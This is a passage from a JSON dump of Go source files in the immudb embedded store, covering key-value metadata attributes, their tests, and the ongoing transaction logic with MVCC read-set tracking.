[8]byte\n\t\t\tbinary.BigEndian.PutUint64(k[:], uint64(j+offset))\n\n\t\t\tvar v [8]byte\n\t\t\tbinary.BigEndian.PutUint64(v[:], uint64(i))\n\n\t\t\trk, vref, err := reader.ReadBetween(context.Background(), 0, uint64(i+1))\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, k[:], rk)\n\n\t\t\trv, err := vref.Resolve()\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, v[:], rv)\n\t\t}\n\n\t\t_, _, err = reader.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\n\t\terr = reader.Reset()\n\t\trequire.NoError(t, err)\n\t}\n}\n"
  },
  {
    "path": "embedded/store/kv_metadata.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n)\n\nvar ErrNonExpirable = errors.New(\"non expirable\")\nvar ErrReadOnly = errors.New(\"read-only\")\nvar ErrNonIndexable = errors.New(\"non-indexable\")\n\nconst (\n\tdeletedAttrCode      attributeCode = 0\n\texpiresAtAttrCode    attributeCode = 1\n\tnonIndexableAttrCode attributeCode = 2\n)\n\nconst deletedAttrSize = 0\nconst expiresAtAttrSize = tsSize\nconst nonIndexableAttrSize = 0\n\nconst maxKVMetadataLen = (attrCodeSize + deletedAttrSize) +\n\t(attrCodeSize + expiresAtAttrSize) +\n\t(attrCodeSize + nonIndexableAttrSize)\n\ntype KVMetadata struct {\n\tattributes map[attributeCode]attribute\n\treadonly   bool\n}\n\ntype deletedAttribute struct {\n}\n\nfunc (a *deletedAttribute) code() attributeCode {\n\treturn deletedAttrCode\n}\n\nfunc (a *deletedAttribute) serialize() []byte {\n\treturn nil\n}\n\nfunc (a *deletedAttribute) deserialize(b []byte) (int, error) {\n\treturn 0, nil\n}\n\ntype expiresAtAttribute struct {\n\texpiresAt time.Time\n}\n\nfunc (a *expiresAtAttribute) code() attributeCode {\n\treturn expiresAtAttrCode\n}\n\nfunc (a *expiresAtAttribute) serialize() []byte {\n\tvar b [tsSize]byte\n\tbinary.BigEndian.PutUint64(b[:], uint64(a.expiresAt.Unix()))\n\treturn b[:]\n}\n\nfunc (a *expiresAtAttribute) deserialize(b []byte) (int, error) {\n\tif len(b) < tsSize {\n\t\treturn 0, ErrCorruptedData\n\t}\n\n\ta.expiresAt = time.Unix(int64(binary.BigEndian.Uint64(b)), 0)\n\n\treturn tsSize, nil\n}\n\ntype nonIndexableAttribute struct {\n}\n\nfunc (a *nonIndexableAttribute) code() attributeCode {\n\treturn nonIndexableAttrCode\n}\n\nfunc (a *nonIndexableAttribute) serialize() []byte {\n\treturn nil\n}\n\nfunc (a *nonIndexableAttribute) deserialize(b []byte) (int, error) {\n\treturn 0, nil\n}\n\nfunc NewKVMetadata() *KVMetadata {\n\treturn &KVMetadata{\n\t\tattributes: make(map[attributeCode]attribute),\n\t}\n}\n\nfunc newReadOnlyKVMetadata() *KVMetadata {\n\treturn &KVMetadata{\n\t\tattributes: make(map[attributeCode]attribute),\n\t\treadonly:   true,\n\t}\n}\n\nfunc (md *KVMetadata) AsDeleted(deleted bool) error {\n\tif md.readonly {\n\t\treturn ErrReadOnly\n\t}\n\n\tif !deleted {\n\t\tdelete(md.attributes, deletedAttrCode)\n\t\treturn nil\n\t}\n\n\t_, ok := md.attributes[deletedAttrCode]\n\tif !ok {\n\t\tmd.attributes[deletedAttrCode] = &deletedAttribute{}\n\t}\n\n\treturn nil\n}\n\nfunc (md *KVMetadata) Deleted() bool {\n\t_, ok := md.attributes[deletedAttrCode]\n\treturn ok\n}\n\nfunc (md *KVMetadata) ExpiresAt(expiresAt time.Time) error {\n\tif md.readonly {\n\t\treturn ErrReadOnly\n\t}\n\n\texpAtAttr, ok := md.attributes[expiresAtAttrCode]\n\tif !ok {\n\t\texpAtAttr = &expiresAtAttribute{expiresAt: expiresAt}\n\t\tmd.attributes[expiresAtAttrCode] = expAtAttr\n\t\treturn nil\n\t}\n\n\texpAtAttr.(*expiresAtAttribute).expiresAt = expiresAt\n\treturn nil\n}\n\nfunc (md *KVMetadata) NonExpirable() *KVMetadata {\n\tdelete(md.attributes, expiresAtAttrCode)\n\treturn md\n}\n\nfunc (md *KVMetadata) IsExpirable() bool {\n\t_, ok := md.attributes[expiresAtAttrCode]\n\treturn ok\n}\n\nfunc (md *KVMetadata) ExpirationTime() (time.Time, error) {\n\texpAtAttr, ok := md.attributes[expiresAtAttrCode]\n\tif !ok {\n\t\treturn time.Now(), ErrNonExpirable\n\t}\n\n\treturn expAtAttr.(*expiresAtAttribute).expiresAt, nil\n}\n\nfunc (md *KVMetadata) ExpiredAt(mtime time.Time) bool {\n\texpAtAttr, ok := md.attributes[expiresAtAttrCode]\n\tif !ok {\n\t\treturn false\n\t}\n\n\treturn !expAtAttr.(*expiresAtAttribute).expiresAt.After(mtime)\n}\n\nfunc (md *KVMetadata) AsNonIndexable(nonIndexable bool) error {\n\tif md.readonly {\n\t\treturn ErrReadOnly\n\t}\n\n\tif !nonIndexable {\n\t\tdelete(md.attributes, nonIndexableAttrCode)\n\t\treturn nil\n\t}\n\n\t_, ok := md.attributes[nonIndexableAttrCode]\n\tif !ok {\n\t\tmd.attributes[nonIndexableAttrCode] = &nonIndexableAttribute{}\n\t}\n\n\treturn nil\n}\n\nfunc (md *KVMetadata) NonIndexable() bool {\n\t_, ok := md.attributes[nonIndexableAttrCode]\n\treturn ok\n}\n\nfunc (md *KVMetadata) Bytes() []byte {\n\tvar b bytes.Buffer\n\n\tfor _, attrCode := range []attributeCode{deletedAttrCode, expiresAtAttrCode, nonIndexableAttrCode} {\n\t\tattr, ok := md.attributes[attrCode]\n\t\tif ok {\n\t\t\tb.WriteByte(byte(attr.code()))\n\t\t\tb.Write(attr.serialize())\n\t\t}\n\t}\n\n\treturn b.Bytes()\n}\n\nfunc (md *KVMetadata) unsafeReadFrom(b []byte) error {\n\tif len(b) > maxKVMetadataLen {\n\t\treturn ErrCorruptedData\n\t}\n\n\ti := 0\n\n\tfor {\n\t\tif len(b) == i {\n\t\t\tbreak\n\t\t}\n\n\t\tif len(b[i:]) < attrCodeSize {\n\t\t\treturn ErrCorruptedData\n\t\t}\n\n\t\tattrCode := attributeCode(b[i])\n\t\ti += attrCodeSize\n\n\t\tattr, err := newAttribute(attrCode)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tn, err := attr.deserialize(b[i:])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading metadata attributes: %w\", err)\n\t\t}\n\n\t\ti += n\n\n\t\tmd.attributes[attr.code()] = attr\n\t}\n\n\treturn nil\n}\n\nfunc newAttribute(attrCode attributeCode) (attribute, error) {\n\tswitch attrCode {\n\tcase deletedAttrCode:\n\t\t{\n\t\t\treturn &deletedAttribute{}, nil\n\t\t}\n\tcase expiresAtAttrCode:\n\t\t{\n\t\t\treturn &expiresAtAttribute{}, nil\n\t\t}\n\tcase nonIndexableAttrCode:\n\t\t{\n\t\t\treturn &nonIndexableAttribute{}, nil\n\t\t}\n\tdefault:\n\t\t{\n\t\t\treturn nil, fmt.Errorf(\"error reading metadata attributes: %w\", ErrCorruptedData)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "embedded/store/kv_metadata_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestKVMetadata(t *testing.T) {\n\tnow := time.Now()\n\n\tmd := NewKVMetadata()\n\n\tbs := md.Bytes()\n\trequire.Len(t, bs, 0)\n\n\terr := md.unsafeReadFrom(bs)\n\trequire.NoError(t, err)\n\trequire.False(t, md.Deleted())\n\trequire.False(t, md.IsExpirable())\n\trequire.False(t, md.NonIndexable())\n\n\t_, err = md.ExpirationTime()\n\trequire.ErrorIs(t, err, ErrNonExpirable)\n\n\trequire.False(t, md.ExpiredAt(now))\n\n\tt.Run(\"mutable methods over read-only metadata should fail\", func(t *testing.T) {\n\t\tdesmd := newReadOnlyKVMetadata()\n\n\t\terr = desmd.unsafeReadFrom(nil)\n\t\trequire.NoError(t, err)\n\n\t\trequire.False(t, desmd.Deleted())\n\t\trequire.False(t, md.IsExpirable())\n\t\trequire.False(t, md.ExpiredAt(now))\n\t\trequire.False(t, md.NonIndexable())\n\n\t\terr = desmd.AsDeleted(true)\n\t\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\t\terr = desmd.ExpiresAt(now)\n\t\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\t\terr = desmd.AsNonIndexable(true)\n\t\trequire.ErrorIs(t, err, ErrReadOnly)\n\t})\n\n\tdesmd := NewKVMetadata()\n\n\terr = desmd.unsafeReadFrom(nil)\n\trequire.NoError(t, err)\n\n\tdesmd.AsDeleted(false)\n\trequire.False(t, desmd.Deleted())\n\n\tdesmd.AsDeleted(true)\n\trequire.True(t, desmd.Deleted())\n\n\tdesmd.NonExpirable()\n\trequire.False(t, md.IsExpirable())\n\trequire.False(t, md.ExpiredAt(now))\n\n\tdesmd.ExpiresAt(now)\n\trequire.True(t, desmd.IsExpirable())\n\n\tdesmd.ExpiresAt(now)\n\trequire.True(t, desmd.IsExpirable())\n\n\texpTime, err := desmd.ExpirationTime()\n\trequire.NoError(t, err)\n\trequire.Equal(t, now, expTime)\n\trequire.True(t, desmd.ExpiredAt(now))\n\n\tdesmd.AsNonIndexable(false)\n\trequire.False(t, desmd.NonIndexable())\n\n\tdesmd.AsNonIndexable(true)\n\trequire.True(t, desmd.NonIndexable())\n\n\tbs = desmd.Bytes()\n\trequire.NotNil(t, bs)\n\trequire.LessOrEqual(t, len(bs), maxKVMetadataLen)\n\n\terr = desmd.unsafeReadFrom(bs)\n\trequire.NoError(t, err)\n\trequire.True(t, desmd.Deleted())\n\trequire.True(t, desmd.IsExpirable())\n\trequire.True(t, desmd.ExpiredAt(now))\n\trequire.True(t, desmd.NonIndexable())\n}\n"
  },
  {
    "path": "embedded/store/metadata.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\ntype attributeCode byte\n\nconst attrCodeSize = 1\n\ntype attribute interface {\n\tcode() attributeCode\n\tserialize() []byte\n\tdeserialize(b []byte) (int, error)\n}\n"
  },
  {
    "path": "embedded/store/ongoing_tx.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n)\n\n// OngoingTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW.\n// The snapshot may be locally modified but isolated from other transactions\ntype OngoingTx struct {\n\tst *ImmuStore\n\n\tctx context.Context\n\n\tsnapshots []*Snapshot // snapshot per index\n\n\tmode                    TxMode // MVCC validations are not needed for read-only transactions\n\tsnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64\n\tsnapshotRenewalPeriod   time.Duration\n\n\tunsafeMVCC bool\n\n\trequireMVCCOnFollowingTxs bool\n\n\tentries          []*EntrySpec\n\ttransientEntries map[int]*EntrySpec\n\tentriesByKey     map[[sha256.Size]byte]int\n\n\tpreconditions []Precondition\n\n\tmvccReadSet *mvccReadSet // mvcc read-set\n\n\tmetadata *TxMetadata\n\n\tts time.Time\n\n\tclosed bool\n}\n\ntype mvccReadSet struct {\n\texpectedGets           []expectedGet\n\texpectedGetsWithPrefix []expectedGetWithPrefix\n\texpectedReaders        []*expectedReader\n\treadsetSize            int\n}\n\nfunc (mvccReadSet *mvccReadSet) isEmpty() bool {\n\treturn len(mvccReadSet.expectedGets) == 0 &&\n\t\tlen(mvccReadSet.expectedGetsWithPrefix) == 0 &&\n\t\tlen(mvccReadSet.expectedReaders) == 0\n}\n\ntype expectedGet struct {\n\tkey        []byte\n\tfilters    []FilterFn\n\texpectedTx uint64 // 0 used to denote non-existence\n}\n\ntype expectedGetWithPrefix struct {\n\tprefix      []byte\n\tneq         []byte\n\tfilters     []FilterFn\n\texpectedKey []byte\n\texpectedTx  uint64 // 0 used to denote non-existence\n}\n\ntype EntrySpec struct {\n\tKey      []byte\n\tMetadata *KVMetadata\n\tValue    []byte\n\t// hashValue is the hash of the value\n\t// if the actual value is truncated. This is\n\t// used during replication.\n\tHashValue [sha256.Size]byte\n\t// isValueTruncated is true if the value is\n\t// truncated. This is used during replication.\n\tIsValueTruncated bool\n}\n\nfunc newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingTx, error) {\n\tif ctx.Err() != nil {\n\t\treturn nil, ctx.Err()\n\t}\n\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx := &OngoingTx{\n\t\tst:               s,\n\t\tctx:              ctx,\n\t\ttransientEntries: make(map[int]*EntrySpec),\n\t\tentriesByKey:     make(map[[sha256.Size]byte]int),\n\t\tts:               time.Now(),\n\t\tunsafeMVCC:       opts.UnsafeMVCC,\n\t}\n\n\ttx.mode = opts.Mode\n\n\tif opts.Mode == WriteOnlyTx {\n\t\treturn tx, nil\n\t}\n\n\ttx.snapshotMustIncludeTxID = opts.SnapshotMustIncludeTxID\n\ttx.snapshotRenewalPeriod = opts.SnapshotRenewalPeriod\n\ttx.mvccReadSet = &mvccReadSet{}\n\n\treturn tx, nil\n}\n\ntype ongoingValRef struct {\n\tvalue []byte\n\thc    uint64\n\ttxmd  *TxMetadata\n\tkvmd  *KVMetadata\n}\n\nfunc (oref *ongoingValRef) Resolve() (val []byte, err error) {\n\treturn oref.value, nil\n}\n\nfunc (oref *ongoingValRef) Tx() uint64 {\n\treturn 0\n}\n\nfunc (oref *ongoingValRef) HC() uint64 {\n\treturn oref.hc\n}\n\nfunc (oref *ongoingValRef) TxMetadata() *TxMetadata {\n\treturn oref.txmd\n}\n\nfunc (oref *ongoingValRef) KVMetadata() *KVMetadata {\n\treturn oref.kvmd\n}\n\nfunc (oref *ongoingValRef) HVal() [sha256.Size]byte {\n\treturn sha256.Sum256(oref.value)\n}\n\nfunc (oref *ongoingValRef) Len() uint32 {\n\treturn uint32(len(oref.value))\n}\n\nfunc (oref *ongoingValRef) VOff() int64 {\n\treturn 0\n}\n\nfunc (tx *OngoingTx) IsWriteOnly() bool {\n\treturn tx.mode == WriteOnlyTx\n}\n\nfunc (tx *OngoingTx) IsReadOnly() bool {\n\treturn tx.mode == ReadOnlyTx\n}\n\nfunc (tx *OngoingTx) WithMetadata(md *TxMetadata) *OngoingTx {\n\ttx.metadata = md\n\treturn tx\n}\n\nfunc (tx *OngoingTx) Timestamp() time.Time {\n\treturn tx.ts.Truncate(time.Microsecond).UTC()\n}\n\nfunc (tx *OngoingTx) Metadata() *TxMetadata {\n\treturn tx.metadata\n}\n\nfunc (tx *OngoingTx) snap(key []byte) (*Snapshot, error) {\n\tfor _, snap := range tx.snapshots {\n\t\tif hasPrefix(key, snap.prefix) {\n\t\t\treturn snap, nil\n\t\t}\n\t}\n\n\tvar snapshotMustIncludeTxID uint64\n\n\tif tx.snapshotMustIncludeTxID != nil {\n\t\tsnapshotMustIncludeTxID = tx.snapshotMustIncludeTxID(tx.st.LastPrecommittedTxID())\n\t}\n\n\tmandatoryMVCCUpToTxID := tx.st.MandatoryMVCCUpToTxID()\n\n\tif mandatoryMVCCUpToTxID > snapshotMustIncludeTxID {\n\t\tsnapshotMustIncludeTxID = mandatoryMVCCUpToTxID\n\t}\n\n\tsnap, err := tx.st.SnapshotMustIncludeTxIDWithRenewalPeriod(tx.ctx, key, snapshotMustIncludeTxID, tx.snapshotRenewalPeriod)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// using an \"interceptor\" to construct the valueRef from current entries\n\t// so to avoid storing more data into the snapshot\n\tsnap.refInterceptor = func(key []byte, valRef ValueRef) ValueRef {\n\t\tkeyRef, ok := tx.entriesByKey[sha256.Sum256(key)]\n\t\tif !ok {\n\t\t\treturn valRef\n\t\t}\n\n\t\tentrySpec, transient := tx.transientEntries[keyRef]\n\t\tif !transient {\n\t\t\tentrySpec = tx.entries[keyRef]\n\t\t}\n\n\t\treturn &ongoingValRef{\n\t\t\thc:    valRef.HC(),\n\t\t\tvalue: entrySpec.Value,\n\t\t\ttxmd:  tx.metadata,\n\t\t\tkvmd:  entrySpec.Metadata,\n\t\t}\n\t}\n\n\ttx.snapshots = append(tx.snapshots, snap)\n\n\treturn snap, nil\n}\n\nfunc (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated, isTransient bool) error {\n\tif tx.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif tx.IsReadOnly() {\n\t\treturn ErrReadOnlyTx\n\t}\n\n\tif len(key) == 0 {\n\t\treturn ErrNullKey\n\t}\n\n\tif len(key) > tx.st.maxKeyLen {\n\t\treturn ErrMaxKeyLenExceeded\n\t}\n\n\tif len(value) > tx.st.maxValueLen {\n\t\treturn ErrMaxValueLenExceeded\n\t}\n\n\tkid := sha256.Sum256(key)\n\tkeyRef, isKeyUpdate := tx.entriesByKey[kid]\n\tif !isKeyUpdate && len(tx.entries) > tx.st.maxTxEntries {\n\t\treturn ErrMaxTxEntriesLimitExceeded\n\t}\n\n\t_, wasTransient := tx.transientEntries[keyRef]\n\tif isKeyUpdate {\n\t\tif wasTransient != isTransient {\n\t\t\treturn ErrCannotUpdateKeyTransiency\n\t\t}\n\t}\n\n\te := &EntrySpec{\n\t\tKey:              key,\n\t\tMetadata:         md,\n\t\tValue:            value,\n\t\tHashValue:        hashValue,\n\t\tIsValueTruncated: isValueTruncated,\n\t}\n\n\t// vLen=0 + vOff=0 + vHash=0 + txmdLen=0 + kvmdLen=0\n\tvar indexedValue [lszSize + offsetSize + sha256.Size + sszSize + sszSize]byte\n\n\ttx.st.indexersMux.RLock()\n\tindexers := tx.st.indexers\n\ttx.st.indexersMux.RUnlock()\n\n\tfor _, indexer := range indexers {\n\t\tif isTransient && !hasPrefix(key, indexer.TargetPrefix()) {\n\t\t\tcontinue\n\t\t}\n\n\t\tif !isTransient && (!hasPrefix(key, indexer.SourcePrefix()) || indexer.spec.SourceEntryMapper != nil) {\n\t\t\tcontinue\n\t\t}\n\n\t\tvar targetKey []byte\n\n\t\tif isTransient {\n\t\t\ttargetKey = key\n\t\t} else {\n\t\t\t// map the key, get the snapshot for mapped key, set\n\t\t\tsourceKey, err := mapKey(key, value, indexer.spec.SourceEntryMapper)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\ttargetKey, err = mapKey(sourceKey, value, indexer.spec.TargetEntryMapper)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tisIndexable := md == nil || !md.NonIndexable()\n\n\t\t// updates are not needed because valueRef are resolved with the \"interceptor\"\n\t\tif !tx.IsWriteOnly() && !isKeyUpdate && isIndexable {\n\t\t\tsnap, err := tx.snap(targetKey)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\terr = snap.set(targetKey, indexedValue[:])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif !bytes.Equal(key, targetKey) {\n\t\t\tkid := sha256.Sum256(targetKey)\n\t\t\tkeyRef, isKeyUpdate := tx.entriesByKey[kid]\n\n\t\t\tif isKeyUpdate {\n\t\t\t\ttx.transientEntries[keyRef] = e\n\t\t\t} else {\n\t\t\t\ttx.transientEntries[len(tx.entriesByKey)] = e\n\t\t\t\ttx.entriesByKey[kid] = len(tx.entriesByKey)\n\t\t\t}\n\t\t}\n\t}\n\n\tif isKeyUpdate {\n\t\tif isTransient {\n\t\t\ttx.transientEntries[keyRef] = e\n\t\t} else {\n\t\t\ttx.entries[keyRef] = e\n\t\t}\n\t} else {\n\t\tif isTransient {\n\t\t\ttx.transientEntries[len(tx.entriesByKey)] = e\n\t\t\ttx.entriesByKey[kid] = len(tx.entriesByKey)\n\t\t} else {\n\t\t\ttx.entries = append(tx.entries, e)\n\t\t\ttx.entriesByKey[kid] = len(tx.entries) - 1\n\t\t}\n\n\t}\n\n\treturn nil\n}\n\nfunc mapKey(key []byte, value []byte, mapper EntryMapper) (mappedKey []byte, err error) {\n\tif mapper == nil {\n\t\treturn key, nil\n\t}\n\treturn mapper(key, value)\n}\n\nfunc (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error {\n\tvar hashValue [sha256.Size]byte\n\treturn tx.set(key, md, value, hashValue, false, false)\n}\n\nfunc (tx *OngoingTx) SetTransient(key []byte, md *KVMetadata, value []byte) error {\n\tvar hashValue [sha256.Size]byte\n\treturn tx.set(key, md, value, hashValue, false, true)\n}\n\nfunc (tx *OngoingTx) AddPrecondition(c Precondition) error {\n\tif tx.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif c == nil {\n\t\treturn ErrIllegalArguments\n\t}\n\n\terr := c.Validate(tx.st)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttx.preconditions = append(tx.preconditions, c)\n\treturn nil\n}\n\nfunc (tx *OngoingTx) mvccReadSetLimitReached() bool {\n\treturn tx.mvccReadSet.readsetSize == tx.st.mvccReadSetLimit\n}\n\nfunc (tx *OngoingTx) Delete(ctx context.Context, key []byte) error {\n\tif tx.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif tx.IsReadOnly() {\n\t\treturn ErrReadOnlyTx\n\t}\n\n\tvalRef, err := tx.Get(ctx, key)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif valRef.KVMetadata() != nil && valRef.KVMetadata().Deleted() {\n\t\treturn ErrKeyNotFound\n\t}\n\n\tmd := NewKVMetadata()\n\n\tmd.AsDeleted(true)\n\n\treturn tx.Set(key, md, nil)\n}\n\nfunc (tx *OngoingTx) Get(ctx context.Context, key []byte) (ValueRef, error) {\n\treturn tx.GetWithFilters(ctx, key, IgnoreExpired, IgnoreDeleted)\n}\n\nfunc (tx *OngoingTx) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (ValueRef, error) {\n\tif tx.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\tif tx.IsWriteOnly() {\n\t\treturn nil, ErrWriteOnlyTx\n\t}\n\n\tsnap, err := tx.snap(key)\n\tif err != nil {\n\t\tif errors.Is(err, ErrIndexNotFound) {\n\t\t\treturn nil, ErrKeyNotFound\n\t\t}\n\t\treturn nil, err\n\t}\n\n\tvalRef, err := snap.GetWithFilters(ctx, key, filters...)\n\tif !tx.IsReadOnly() && errors.Is(err, ErrKeyNotFound) {\n\t\texpectedGet := expectedGet{\n\t\t\tkey:     cp(key),\n\t\t\tfilters: filters,\n\t\t}\n\n\t\tif tx.mvccReadSetLimitReached() {\n\t\t\treturn nil, ErrMVCCReadSetLimitExceeded\n\t\t}\n\n\t\ttx.mvccReadSet.expectedGets = append(tx.mvccReadSet.expectedGets, expectedGet)\n\t\ttx.mvccReadSet.readsetSize++\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !tx.IsReadOnly() && valRef.Tx() > 0 {\n\t\t// it only requires validation when the entry was pre-existent to ongoing tx\n\t\texpectedGet := expectedGet{\n\t\t\tkey:        cp(key),\n\t\t\tfilters:    filters,\n\t\t\texpectedTx: valRef.Tx(),\n\t\t}\n\n\t\tif tx.mvccReadSetLimitReached() {\n\t\t\treturn nil, ErrMVCCReadSetLimitExceeded\n\t\t}\n\n\t\ttx.mvccReadSet.expectedGets = append(tx.mvccReadSet.expectedGets, expectedGet)\n\t\ttx.mvccReadSet.readsetSize++\n\t}\n\n\treturn valRef, nil\n}\n\nfunc (tx *OngoingTx) GetWithPrefix(ctx context.Context, prefix, neq []byte) (key []byte, valRef ValueRef, err error) {\n\treturn tx.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreExpired, IgnoreDeleted)\n}\n\nfunc (tx *OngoingTx) GetWithPrefixAndFilters(ctx context.Context, prefix, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) {\n\tif tx.closed {\n\t\treturn nil, nil, ErrAlreadyClosed\n\t}\n\n\tif tx.IsWriteOnly() {\n\t\treturn nil, nil, ErrWriteOnlyTx\n\t}\n\n\tsnap, err := tx.snap(prefix)\n\tif err != nil {\n\t\tif errors.Is(err, ErrIndexNotFound) {\n\t\t\treturn nil, nil, ErrKeyNotFound\n\t\t}\n\t\treturn nil, nil, err\n\t}\n\n\tkey, valRef, err = snap.GetWithPrefixAndFilters(ctx, prefix, neq, filters...)\n\tif !tx.IsReadOnly() && errors.Is(err, ErrKeyNotFound) {\n\t\texpectedGetWithPrefix := expectedGetWithPrefix{\n\t\t\tprefix:  cp(prefix),\n\t\t\tneq:     cp(neq),\n\t\t\tfilters: filters,\n\t\t}\n\n\t\tif tx.mvccReadSetLimitReached() {\n\t\t\treturn nil, nil, ErrMVCCReadSetLimitExceeded\n\t\t}\n\n\t\ttx.mvccReadSet.expectedGetsWithPrefix = append(tx.mvccReadSet.expectedGetsWithPrefix, expectedGetWithPrefix)\n\t\ttx.mvccReadSet.readsetSize++\n\t}\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tif !tx.IsReadOnly() && valRef.Tx() > 0 {\n\t\t// it only requires validation when the entry was pre-existent to ongoing tx\n\t\texpectedGetWithPrefix := expectedGetWithPrefix{\n\t\t\tprefix:      cp(prefix),\n\t\t\tneq:         cp(neq),\n\t\t\tfilters:     filters,\n\t\t\texpectedKey: cp(key),\n\t\t\texpectedTx:  valRef.Tx(),\n\t\t}\n\n\t\tif tx.mvccReadSetLimitReached() {\n\t\t\treturn nil, nil, ErrMVCCReadSetLimitExceeded\n\t\t}\n\n\t\ttx.mvccReadSet.expectedGetsWithPrefix = append(tx.mvccReadSet.expectedGetsWithPrefix, expectedGetWithPrefix)\n\t\ttx.mvccReadSet.readsetSize++\n\t}\n\n\treturn key, valRef, nil\n}\n\nfunc (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) {\n\tif tx.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\tif tx.IsWriteOnly() {\n\t\treturn nil, ErrWriteOnlyTx\n\t}\n\n\tif tx.IsReadOnly() {\n\t\tsnap, err := tx.snap(spec.Prefix)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn snap.NewKeyReader(spec)\n\t}\n\n\treturn newOngoingTxKeyReader(tx, spec)\n}\n\nfunc (tx *OngoingTx) RequireMVCCOnFollowingTxs(requireMVCCOnFollowingTxs bool) error {\n\tif tx.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\ttx.requireMVCCOnFollowingTxs = requireMVCCOnFollowingTxs\n\n\treturn nil\n}\n\nfunc (tx *OngoingTx) Commit(ctx context.Context) (*TxHeader, error) {\n\treturn tx.commit(ctx, true)\n}\n\nfunc (tx *OngoingTx) AsyncCommit(ctx context.Context) (*TxHeader, error) {\n\treturn tx.commit(ctx, false)\n}\n\nfunc (tx *OngoingTx) commit(ctx context.Context, waitForIndexing bool) (*TxHeader, error) {\n\tif tx.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\tif !tx.IsWriteOnly() {\n\t\tfor _, snap := range tx.snapshots {\n\t\t\terr := snap.Close()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\ttx.closed = true\n\n\tif tx.IsReadOnly() {\n\t\treturn nil, ErrReadOnlyTx\n\t}\n\n\tif ctx.Err() != nil {\n\t\treturn nil, ctx.Err()\n\t}\n\n\treturn tx.st.commit(ctx, tx, nil, false, waitForIndexing)\n}\n\nfunc (tx *OngoingTx) Cancel() error {\n\tif tx.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\ttx.closed = true\n\n\tif !tx.IsWriteOnly() {\n\t\tfor _, snap := range tx.snapshots {\n\t\t\terr := snap.Close()\n\t\t\tif err 